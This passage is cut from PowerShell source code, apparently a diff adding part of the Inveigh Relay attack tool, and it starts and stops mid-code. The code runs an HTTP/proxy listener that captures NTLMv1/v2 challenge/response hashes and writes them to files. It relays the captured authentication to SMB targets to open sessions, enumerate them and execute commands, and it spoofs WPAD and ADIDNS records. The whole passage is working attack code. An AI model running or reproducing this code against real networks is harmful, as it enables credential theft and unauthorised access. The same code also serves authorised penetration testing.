$HTTP_client_close -and $inveigh.relay_running) + { + $HTTP_client = $HTTP_listener.AcceptTcpClient() + $HTTP_stream = $HTTP_client.GetStream() + } + + if($HTTP_stream.DataAvailable) + { + $HTTP_data_available = $true + } + else + { + $HTTP_data_available = $false + } + + while($HTTP_stream.DataAvailable) + { + $HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length) > $null + } + + $TCP_request = [System.BitConverter]::ToString($TCP_request_bytes) + } + + if($TCP_request -like "47-45-54-20*" -or $TCP_request -like "48-45-41-44-20*" -or $TCP_request -like "4f-50-54-49-4f-4e-53-20*" -or $TCP_request -like "43-4f-4e-4e-45-43-54*") + { + $HTTP_raw_URL = $TCP_request.Substring($TCP_request.IndexOf("-20-") + 4,$TCP_request.Substring($TCP_request.IndexOf("-20-") + 1).IndexOf("-20-") - 3) + $HTTP_raw_URL = $HTTP_raw_URL.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $HTTP_request_raw_URL = New-Object System.String ($HTTP_raw_URL,0,$HTTP_raw_URL.Length) + $HTTP_source_IP = $HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + $HTTP_connection_header_close = $true + + if($TCP_request -like "*-48-6F-73-74-3A-20-*") + { + $HTTP_header_host_extract = $TCP_request.Substring($TCP_request.IndexOf("-48-6F-73-74-3A-20-") + 19) + $HTTP_header_host_extract = $HTTP_header_host_extract.Substring(0,$HTTP_header_host_extract.IndexOf("-0D-0A-")) + $HTTP_header_host_extract = $HTTP_header_host_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $HTTP_header_host = New-Object System.String ($HTTP_header_host_extract,0,$HTTP_header_host_extract.Length) + } + + if($TCP_request -like "*-55-73-65-72-2D-41-67-65-6E-74-3A-20-*") + { + $HTTP_header_user_agent_extract = $TCP_request.Substring($TCP_request.IndexOf("-55-73-65-72-2D-41-67-65-6E-74-3A-20-") + 37) + $HTTP_header_user_agent_extract = $HTTP_header_user_agent_extract.Substring(0,$HTTP_header_user_agent_extract.IndexOf("-0D-0A-")) + $HTTP_header_user_agent_extract = $HTTP_header_user_agent_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $HTTP_header_user_agent = New-Object System.String ($HTTP_header_user_agent_extract,0,$HTTP_header_user_agent_extract.Length) + } + + if($HTTP_request_raw_URL_old -ne $HTTP_request_raw_URL -or $HTTP_client_handle_old -ne $HTTP_client.Client.Handle) + { + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP") > $null + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type host header $HTTP_header_host received from $HTTP_source_IP") > $null + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type user agent received from $HTTP_source_IP`:`n$HTTP_header_user_agent") > $null + + if($Proxy -eq 'Y' -and $ProxyIgnore.Count -gt 0 -and ($ProxyIgnore | Where-Object {$HTTP_header_user_agent -match $_})) + { + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] - $HTTP_type ignoring wpad.dat request due to user agent from $HTTP_source_IP") > $null + } + + } + + if($TCP_request -like "*-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-*") + { + $HTTP_header_authorization_extract = $TCP_request.Substring($TCP_request.IndexOf("-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-") + 46) + $HTTP_header_authorization_extract = $HTTP_header_authorization_extract.Substring(0,$HTTP_header_authorization_extract.IndexOf("-0D-0A-")) + $HTTP_header_authorization_extract = $HTTP_header_authorization_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $HTTP_header_authorization = New-Object System.String ($HTTP_header_authorization_extract,0,$HTTP_header_authorization_extract.Length) + } + + if(($HTTP_request_raw_URL -notmatch '/wpad.dat' -and $HTTPAuth -eq 'Anonymous') -or ($HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -eq 'Anonymous') -or ( + $HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -like 'NTLM*' -and $WPADAuthIgnore.Count -gt 0 -and ($WPADAuthIgnore | Where-Object {$HTTP_header_user_agent -match $_}))) + { + $HTTP_response_status_code = 0x32,0x30,0x30 + $HTTP_response_phrase = 0x4f,0x4b + $HTTP_client_close = $true + } + else + { + + if($proxy_listener) + { + $HTTP_response_status_code = 0x34,0x30,0x37 + $HTTP_header_authenticate = 0x50,0x72,0x6f,0x78,0x79,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20 + } + else + { + $HTTP_response_status_code = 0x34,0x30,0x31 + $HTTP_header_authenticate = 0x57,0x57,0x57,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20 + } + + $HTTP_response_phrase = 0x55,0x6e,0x61,0x75,0x74,0x68,0x6f,0x72,0x69,0x7a,0x65,0x64 + $HTTP_client_close = $false + } + + if($HTTP_header_authorization.StartsWith('NTLM ')) + { + $HTTP_header_authorization = $HTTP_header_authorization -replace 'NTLM ','' + [Byte[]]$HTTP_request_bytes = [System.Convert]::FromBase64String($HTTP_header_authorization) + $HTTP_connection_header_close = $false + + if([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '01-00-00-00') + { + + if($inveigh.SMB_relay -and $relay_step -eq 0) + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_type to SMB relay initiated by $HTTP_source_IP") > $null + $SMB_connect = Invoke-SMBConnect $process_ID_bytes $HTTP_source_IP + $target = $SMB_connect[1] + $SMB_client = $SMB_connect[0] + $HTTP_client_close = $false + + if(!$target) + { + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] Eligible target not found") > $null + $relay_step = 0 + } + elseif(!$SMB_client.connected) + { + + for($i = 0;$i -lt $inveigh.enumerate.Count;$i++) + { + + if($inveigh.enumerate[$i].IP -eq $target -and !$inveigh.enumerate[$i]."Signing") + { + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] Relay target $target is not responding") > $null + break + } + + } + + $relay_step = 0 + } + else + { + $relay_step = 1 + } + + if($relay_step -eq 1) + { + $SMB_relay_bytes = Invoke-SMBRelayChallenge $SMB_client $HTTP_request_bytes $SMB_version $process_ID_bytes + + if($SMB_relay_bytes.Length -le 3) + { + $relay_step = 0 + $HTTP_client_close = $true + $NTLM = Get-NTLMChallengeBase64 $Challenge $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port + } + + } + + if($relay_step -eq 1) + { + $SMB_user_ID = $SMB_relay_bytes[34..33] + $SMB_relay_NTLMSSP = [System.BitConverter]::ToString($SMB_relay_bytes) + $SMB_relay_NTLMSSP = $SMB_relay_NTLMSSP -replace "-","" + $SMB_relay_NTLMSSP_index = $SMB_relay_NTLMSSP.IndexOf("4E544C4D53535000") + $SMB_relay_NTLMSSP_bytes_index = $SMB_relay_NTLMSSP_index / 2 + $SMB_domain_length = Get-UInt16DataLength ($SMB_relay_NTLMSSP_bytes_index + 12) $SMB_relay_bytes + $SMB_domain_length_offset_bytes = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 12)..($SMB_relay_NTLMSSP_bytes_index + 19)] + $SMB_target_length = Get-UInt16DataLength ($SMB_relay_NTLMSSP_bytes_index + 40) $SMB_relay_bytes + $SMB_target_length_offset_bytes = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 40)..($SMB_relay_NTLMSSP_bytes_index + 55 + $SMB_domain_length)] + $SMB_relay_target_flag = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 22)] + $SMB_relay_NTLM_challenge = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 24)..($SMB_relay_NTLMSSP_bytes_index + 31)] + $SMB_relay_target_details = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 56 + $SMB_domain_length)..($SMB_relay_NTLMSSP_bytes_index + 55 + $SMB_domain_length + $SMB_target_length)] + $session_ID = $SMB_relay_bytes[44..51] + + $HTTP_NTLM_bytes = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00 + + $SMB_domain_length_offset_bytes + + 0x05,0x82 + + $SMB_relay_target_flag + + 0xa2 + + $SMB_relay_NTLM_challenge + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + + $SMB_target_length_offset_bytes + + $SMB_relay_target_details + + $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) + $NTLM = 'NTLM ' + $NTLM_challenge_base64 + $NTLM_challenge = Get-SMBNTLMChallenge $SMB_relay_bytes + $inveigh.HTTP_challenge_queue.Add($HTTP_source_IP + $HTTP_client.Client.RemoteEndpoint.Port + ',' + $NTLM_challenge) > $null + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Received challenge $NTLM_challenge for relay from $Target") > $null + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Providing challenge $NTLM_challenge for relay to $HTTP_source_IP") > $null + $relay_step = 2 + } + else + { + $NTLM = Get-NTLMChallengeBase64 $Challenge $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port + } + + } + else + { + $NTLM = Get-NTLMChallengeBase64 $Challenge $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port + } + + } + elseif([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '03-00-00-00') + { + $HTTP_NTLM_length = Get-UInt16DataLength 20 $HTTP_request_bytes + $HTTP_NTLM_offset = Get-UInt32DataLength 24 $HTTP_request_bytes + $HTTP_NTLM_domain_length = Get-UInt16DataLength 28 $HTTP_request_bytes + $HTTP_NTLM_domain_offset = Get-UInt32DataLength 32 $HTTP_request_bytes + [String]$NTLM_challenge = $inveigh.HTTP_challenge_queue -like $HTTP_source_IP + $HTTP_client.Client.RemoteEndpoint.Port + '*' + $inveigh.HTTP_challenge_queue.Remove($NTLM_challenge) + $NTLM_challenge = $NTLM_challenge.Substring(($NTLM_challenge.IndexOf(",")) + 1) + + if($HTTP_NTLM_domain_length -eq 0) + { + $HTTP_NTLM_domain_string = $null + } + else + { + $HTTP_NTLM_domain_string = Convert-DataToString $HTTP_NTLM_domain_offset $HTTP_NTLM_domain_length $HTTP_request_bytes + } + + $HTTP_NTLM_user_length = Get-UInt16DataLength 36 $HTTP_request_bytes + $HTTP_NTLM_user_offset = Get-UInt32DataLength 40 $HTTP_request_bytes + + if($HTTP_NTLM_user_length -eq 0) + { + $HTTP_NTLM_user_string = $null + } + else + { + $HTTP_NTLM_user_string = Convert-DataToString $HTTP_NTLM_user_offset $HTTP_NTLM_user_length $HTTP_request_bytes + } + + $HTTP_username_full = $HTTP_NTLM_domain_string + "\" + $HTTP_NTLM_user_string + $HTTP_NTLM_host_length = Get-UInt16DataLength 44 $HTTP_request_bytes + $HTTP_NTLM_host_offset = Get-UInt32DataLength 48 $HTTP_request_bytes + $HTTP_NTLM_host_string = Convert-DataToString $HTTP_NTLM_host_offset $HTTP_NTLM_host_length $HTTP_request_bytes + + if($HTTP_NTLM_length -eq 24) # NTLMv1 + { + $NTLM_type = "NTLMv1" + $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[($HTTP_NTLM_offset - 24)..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" + $NTLM_response = $NTLM_response.Insert(48,':') + $HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_response + ":" + $NTLM_challenge + + if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) + { + $inveigh.NTLMv1_list.Add($HTTP_NTLM_hash) > $null + + if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_username_full")) + { + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type $NTLM_type challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n$HTTP_NTLM_hash") > $null + } + else + { + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type $NTLM_type challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n$HTTP_username_full [not unique]") > $null + } + + if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_username_full"))) + { + $inveigh.NTLMv1_file_queue.Add($HTTP_NTLM_hash) > $null + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type $NTLM_type challenge/response written to " + $inveigh.NTLMv1_out_file) > $null + } + + if($inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_username_full") + { + $inveigh.NTLMv1_username_list.Add("$HTTP_source_IP $HTTP_username_full") > $null + } + + } + + } + else # NTLMv2 + { + $NTLM_type = "NTLMv2" + $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" + $NTLM_response = $NTLM_response.Insert(32,':') + $HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLM_response + + if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) + { + $inveigh.NTLMv2_list.Add($HTTP_NTLM_hash) > $null + + if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_username_full")) + { + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n$HTTP_NTLM_hash") > $null + } + else + { + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n$HTTP_username_full [not unique]") > $null + } + + if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_username_full"))) + { + $inveigh.NTLMv2_file_queue.Add($HTTP_NTLM_hash) > $null + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) > $null + } + + if($inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_username_full") + { + $inveigh.NTLMv2_username_list.Add("$HTTP_source_IP $HTTP_username_full") > $null + } + + } + + } + + if($HTTP_NTLM_domain_string -and $HTTP_NTLM_user_string -and $HTTP_NTLM_host_string -and $HTTP_source_IP) + { + Invoke-SessionUpdate $HTTP_NTLM_domain_string $HTTP_NTLM_user_string $HTTP_NTLM_host_string $HTTP_source_IP + } + + $HTTP_response_status_code = 0x32,0x30,0x30 + $HTTP_response_phrase = 0x4f,0x4b + $HTTP_client_close = $true + $NTLM_challenge = $null + + if($inveigh.SMB_relay -and $relay_step -eq 2) + { + + if(!$Username -or $Username -contains $HTTP_NTLM_user_string -or $Username -contains $HTTP_username_full) + { + + if($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$'))) + { + + if($inveigh.relay_failed_login_table.$HTTP_username_full.Count -le $FailedLoginThreshold) + { + + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Sending $NTLM_type response for $HTTP_username_full for relay to $Target") > $null + $SMB_relay_failed = Invoke-SMBRelayResponse $SMB_client $HTTP_request_bytes $SMB_version $SMB_user_ID $session_ID $process_ID_bytes + + if(!$SMB_relay_failed) + { + $inveigh.session_current = $inveigh.session_count + $inveigh.session_message_ID_table.Add($inveigh.session_count,3) + + if($Attack -contains 'Session') + { + + if($SMB_client.Connected) + { + $inveigh.session_socket_table[$inveigh.session_count] = $SMB_client + $inveigh.session_table[$inveigh.session_count] = $session_ID + $inveigh.session_lock_table[$inveigh.session_count] = 'open' + $session_privilege = Invoke-SMBRelayExecute $SMB_client $SMB_version $SMB_user_ID $session_ID $process_ID_bytes $true + $session_object = New-Object PSObject + Add-Member -InputObject $session_object -MemberType NoteProperty -Name Session $inveigh.session_count + Add-Member -InputObject $session_object -MemberType NoteProperty -Name Target $SMB_client.Client.RemoteEndpoint.Address.IPaddressToString + Add-Member -InputObject $session_object -MemberType NoteProperty -Name Initiator $HTTP_source_IP + Add-Member -InputObject $session_object -MemberType NoteProperty -Name User $HTTP_username_full + + if($session_privilege) + { + Add-Member -InputObject $session_object -MemberType NoteProperty -Name Privileged "yes" + } + else + { + Add-Member -InputObject $session_object -MemberType NoteProperty -Name Privileged "no" + } + + if($SMB_client.Connected) + { + $status = "connected" + Add-Member -InputObject $session_object -MemberType NoteProperty -Name Status $status + Add-Member -InputObject $session_object -MemberType NoteProperty -Name "Established" $(Get-Date -format s) + Add-Member -InputObject $session_object -MemberType NoteProperty -Name "Last Activity" $(Get-Date -format s) + $inveigh.session += $session_object + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Session $($inveigh.session_count) added to session list") > $null + } + + } + + } + + if($Attack -contains 'Enumerate' -or $Attack -contains 'Execute') + { + + for($i = 0;$i -lt $inveigh.enumerate.Count;$i++) + { + + if($inveigh.enumerate[$i].IP -eq $target) + { + $target_index = $i + break + } + + } + + $filter_date = Get-Date + } + + if(($attack -contains 'Enumerate' -and $SMB_client.Connected) -and + (!$inveigh.enumerate[$target_index].Enumerate -or + (New-TimeSpan $inveigh.enumerate[$target_index].Enumerate $filter_date).Minutes -gt $RepeatEnumerate)) + { + Invoke-SMBRelayEnum $SMB_client $SMB_user_ID $session_ID $process_ID_bytes $Enumerate $EnumerateGroup + } + + if((($session_privilege -and $Attack -contains 'Execute' -and $Attack -contains 'Session' -and $SMB_client.Connected) -or + ($Attack -contains 'Execute' -and $Attack -notcontains 'Session' -and $SMB_client.Connected)) -and + (!$inveigh.enumerate[$target_index].Execute -or (New-TimeSpan $inveigh.enumerate[$target_index].Execute $filter_date).Minutes -gt $RepeatExecute)) + { + Invoke-SMBRelayExecute $SMB_client $SMB_version $SMB_user_ID $session_ID $process_ID_bytes $false + $inveigh.enumerate[$target_index].Execute = $(Get-Date -format s) + } + + if(!$SMB_client.Connected) + { + $inveigh.session[$inveigh.session_count] | Where-Object {$_.Status = "disconnected"} + } + + $inveigh.session_count++ + } + + if($Attack -notcontains 'Session' -and !$SMB_relay_failed -and $RelayAutoDisable -eq 'Y') + { + + if($Attack -contains 'Enumerate') + { + + for($i = 0;$i -lt $inveigh.enumerate.Count;$i++) + { + + if($inveigh.enumerate[$i].Enumerate) + { + $targets_enumerate_complete = @($inveigh.enumerate[$i].IP) + } + + } + + if($inveigh.target_list -and $targets_enumerated) + { + $targets_enumerate_remaining = Compare-Object -ReferenceObject $inveigh.target_list -DifferenceObject $targets_enumerate_complete -PassThru | Where-Object {$_.SideIndicator -eq "<="} + } + + } + + if($Attack -contains 'Execute') + { + + for($i = 0;$i -lt $inveigh.enumerate.Count;$i++) + { + + if($inveigh.enumerate[$i].Execute) + { + $targets_execute_complete = @($inveigh.execute[$i].IP) + } + + } + + if($inveigh.target_list -and $targets_enumerated) + { + $targets_execute_remaining = Compare-Object -ReferenceObject $inveigh.target_list -DifferenceObject $targets_execute_complete -PassThru | Where-Object {$_.SideIndicator -eq "<="} + } + + } + + if($Attack -notcontains 'Session' -or (!$targets_enumerate_remaining -and $Attack -contains 'Enumerate' -and $Attack -notcontains 'Execute') -or + (!$targets_execute_remaining -and $Attack -contains 'Execute' -and $Attack -notcontains 'Enumerate') -or + (!$targets_enumerate_remaining -and !$targets_execute_remaining -and $Attack -contains 'Enumerate' -and $Attack -contains 'Execute')) + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay auto disabled due to success") > $null + $inveigh.SMB_relay = $false + } + + } + + $relay_step = 0 + + } + else + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay stopped since $HTTP_username_full has exceeded failed login limit") > $null + $SMB_client.Close() + $relay_step = 0 + } + + } + else + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay stopped since $HTTP_NTLM_user_string appears to be a machine account") > $null + $SMB_client.Close() + $relay_step = 0 + } + + } + else + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_username_full not on relay username list") > $null + $SMB_client.Close() + $relay_step = 0 + } + + } + + if($proxy_listener) + { + $HTTP_send = $false + } + + } + else + { + $HTTP_client_close = $false + } + + } + + if(!$proxy_listener -and $WPADResponse -and $HTTP_request_raw_URL -match '/wpad.dat' -and (!$ProxyIgnore -or !($ProxyIgnore | Where-Object {$HTTP_header_user_agent -match $_}))) + { + $HTTP_message = $WPADResponse + $HTTP_header_content_type = [System.Text.Encoding]::UTF8.GetBytes("Content-Type: application/x-ns-proxy-autoconfig") + } + + $HTTP_timestamp = Get-Date -format r + $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp) + $HTTP_message_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) + + if($HTTP_request_raw_URL -notmatch '/wpad.dat' -or ($WPADAuth -like 'NTLM*' -and $HTTP_request_raw_URL -match '/wpad.dat') -and !$HTTP_client_close) + { + $HTTP_header_authenticate_data = [System.Text.Encoding]::UTF8.GetBytes($NTLM) + } + + $packet_HTTPResponse = New-Object System.Collections.Specialized.OrderedDictionary + $packet_HTTPResponse.Add("HTTPResponse_ResponseVersion",[Byte[]](0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)) + $packet_HTTPResponse.Add("HTTPResponse_StatusCode",$HTTP_response_status_code + [Byte[]](0x20)) + $packet_HTTPResponse.Add("HTTPResponse_ResponsePhrase",$HTTP_response_phrase + [Byte[]](0x0d,0x0a)) + + if($HTTP_connection_header_close) + { + $HTTP_connection_header = [System.Text.Encoding]::UTF8.GetBytes("Connection: close") + $packet_HTTPResponse.Add("HTTPResponse_Connection",$HTTP_connection_header + [Byte[]](0x0d,0x0a)) + } + + $packet_HTTPResponse.Add("HTTPResponse_Server",[System.Text.Encoding]::UTF8.GetBytes("Server: Microsoft-HTTPAPI/2.0") + [Byte[]](0x0d,0x0a)) + $packet_HTTPResponse.Add("HTTPResponse_TimeStamp",[Byte[]](0x44,0x61,0x74,0x65,0x3a,0x20) + $HTTP_timestamp + [Byte[]](0x0d,0x0a)) + $packet_HTTPResponse.Add("HTTPResponse_ContentLength",[System.Text.Encoding]::UTF8.GetBytes("Content-Length: $($HTTP_message_bytes.Length)") + [Byte[]](0x0d,0x0a)) + + if($HTTP_header_authenticate -and $HTTP_header_authenticate_data) + { + $packet_HTTPResponse.Add("HTTPResponse_AuthenticateHeader",$HTTP_header_authenticate + $HTTP_header_authenticate_data + [Byte[]](0x0d,0x0a)) + } + + if($HTTP_header_content_type) + { + $packet_HTTPResponse.Add("HTTPResponse_ContentType",$HTTP_header_content_type + [Byte[]](0x0d,0x0a)) + } + + if($HTTP_header_cache_control) + { + $packet_HTTPResponse.Add("HTTPResponse_CacheControl",$HTTP_header_cache_control + [Byte[]](0x0d,0x0a)) + } + + if($HTTP_send) + { + $packet_HTTPResponse.Add("HTTPResponse_Message",[Byte[]](0x0d,0x0a) + $HTTP_message_bytes) + $HTTP_response = ConvertFrom-PacketOrderedDictionary $packet_HTTPResponse + $HTTP_stream.Write($HTTP_response,0,$HTTP_response.Length) + $HTTP_stream.Flush() + } + + Start-Sleep -m 10 + $HTTP_request_raw_URL_old = $HTTP_request_raw_URL + $HTTP_client_handle_old = $HTTP_client.Client.Handle + + if($HTTP_client_close) + { + + if($proxy_listener) + { + $HTTP_client.Client.Close() + } + else + { + $HTTP_client.Close() + } + + } + + } + else + { + + if($HTTP_client_handle_old -eq $HTTP_client.Client.Handle) + { + $HTTP_reset++ + } + else + { + $HTTP_reset = 0 + } + + if($HTTP_data_available -or $HTTP_connection_header_close -or $HTTP_reset -gt 20) + { + $HTTP_client.Close() + $HTTP_client_close = $true + $HTTP_reset = 0 + } + else + { + Start-Sleep -m 100 + } + + } + + } + + $HTTP_client.Close() + Start-sleep -s 1 + $HTTP_listener.Server.blocking = $false + Start-Sleep -s 1 + $HTTP_listener.Server.Close() + Start-Sleep -s 1 + $HTTP_listener.Stop() +} + +# Control Relay Loop ScriptBlock +$control_relay_scriptblock = +{ + param ($ConsoleQueueLimit,$RelayAutoExit,$RunTime) + + function Invoke-OutputQueueLoop + { + + while($inveigh.output_queue.Count -gt 0) + { + $inveigh.console_queue.Add($inveigh.output_queue[0]) > $null + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add($inveigh.output_queue[0]) > $null + } + + if($inveigh.log_output) + { + $inveigh.log.Add($inveigh.output_queue[0]) > $null + } + + $inveigh.output_queue.RemoveAt(0) + } + + } + + function Stop-InveighRunspace + { + param ([String]$Message) + + if($inveigh.HTTPS -and !$inveigh.HTTPS_existing_certificate -or ($inveigh.HTTPS_existing_certificate -and $inveigh.HTTPS_force_certificate_delete)) + { + + try + { + $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") + $certificate_store.Open('ReadWrite') + $certificates = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -Like "CN=" + $inveigh.certificate_issuer}) + + foreach($certificate in $certificates) + { + $certificate_store.Remove($certificate) + } + + $certificate_store.Close() + } + catch + { + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] SSL Certificate Deletion Error [Remove Manually]") > $null + } + + } + + if($inveigh.ADIDNS -eq 'Wildcard') + { + + try + { + Disable-ADIDNSNode -Credential $ADIDNSCredential -Domain $ADIDNSDomain -DomainController $ADIDNSDomainController -Node '*' -Partition $ADIDNSPartition -Zone $ADIDNSZone + } + catch + { + $error_message = $_.Exception.Message + $error_message = $error_message -replace "`n","" + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message $($_.InvocationInfo.Line.Trim())") > $null + } + + } + + if($inveigh.ADIDNS -eq 'Combo' -and $inveigh.ADIDNS_table.Count -gt 0) + { + $ADIDNS_table_keys_temp = $inveigh.ADIDNS_table.Keys + + foreach($ADIDNS_host in $ADIDNS_table_keys_temp) + { + + if($inveigh.ADIDNS_table.$ADIDNS_host -eq 1) + { + + try + { + Disable-ADIDNSNode -Credential $ADIDNSCredential -Domain $ADIDNSDomain -DomainController $ADIDNSDomainController -Node $ADIDNS_host -Partition $ADIDNSPartition -Zone $ADIDNSZone + $inveigh.ADIDNS_table.$DNS_host = $null + } + catch + { + $error_message = $_.Exception.Message + $error_message = $error_message -replace "`n","" + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message $($_.InvocationInfo.Line.Trim())") > $null + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] ADIDNS host (A) record for $ADIDNS_host remove failed") > $null + } + + } + + } + + } + + if($inveigh.relay_running) + { + Start-Sleep -m 100 + + if($Message) + { + $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Inveigh Relay is exiting due to $Message") > $null + } + else + { + $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Inveigh Relay is exiting") > $null + } + + if(!$inveigh.running) + { + Invoke-OutputQueueLoop + Start-Sleep -m 100 + } + + $inveigh.relay_running = $false + } + + if($inveigh.running) + { + Start-Sleep -m 100 + + if($Message) + { + $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Inveigh is exiting due to $Message") > $null + } + else + { + $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Inveigh is exiting") > $null + } + + Invoke-OutputQueueLoop + Start-Sleep -m 100 + $inveigh.running = $false + } + + $inveigh.HTTPS = $false + } + + if($RunTime) + { + $control_timeout = New-TimeSpan -Minutes $RunTime + $control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + } + + while($inveigh.relay_running -and !$inveigh.running) + { + + if($RelayAutoExit -eq 'Y' -and !$inveigh.SMB_relay) + { + Start-Sleep -S 5 + Stop-InveighRunspace "disabled relay" + } + + if($RunTime) + { + + if($control_stopwatch.Elapsed -ge $control_timeout) + { + Stop-InveighRunspace "run time" + } + + } + + if($inveigh.file_output -and -not $inveigh.control) + { + + while($inveigh.log_file_queue.Count -gt 0) + { + $inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append + $inveigh.log_file_queue.RemoveAt(0) + } + + while($inveigh.NTLMv1_file_queue.Count -gt 0) + { + $inveigh.NTLMv1_file_queue[0]|Out-File $inveigh.NTLMv1_out_file -Append + $inveigh.NTLMv1_file_queue.RemoveAt(0) + } + + while($inveigh.NTLMv2_file_queue.Count -gt 0) + { + $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append + $inveigh.NTLMv2_file_queue.RemoveAt(0) + } + + while($inveigh.cleartext_file_queue.Count -gt 0) + { + $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append + $inveigh.cleartext_file_queue.RemoveAt(0) + } + + while($inveigh.form_input_file_queue.Count -gt 0) + { + $inveigh.form_input_file_queue[0]|Out-File $inveigh.form_input_out_file -Append + $inveigh.form_input_file_queue.RemoveAt(0) + } + + } + + if(!$inveigh.console_output -and $ConsoleQueueLimit -ge 0) + { + + while($inveigh.console_queue.Count -gt $ConsoleQueueLimit -and !$inveigh.console_output) + { + $inveigh.console_queue.RemoveAt(0) + } + + } + + if(!$inveigh.running) + { + Invoke-OutputQueueLoop + } + + 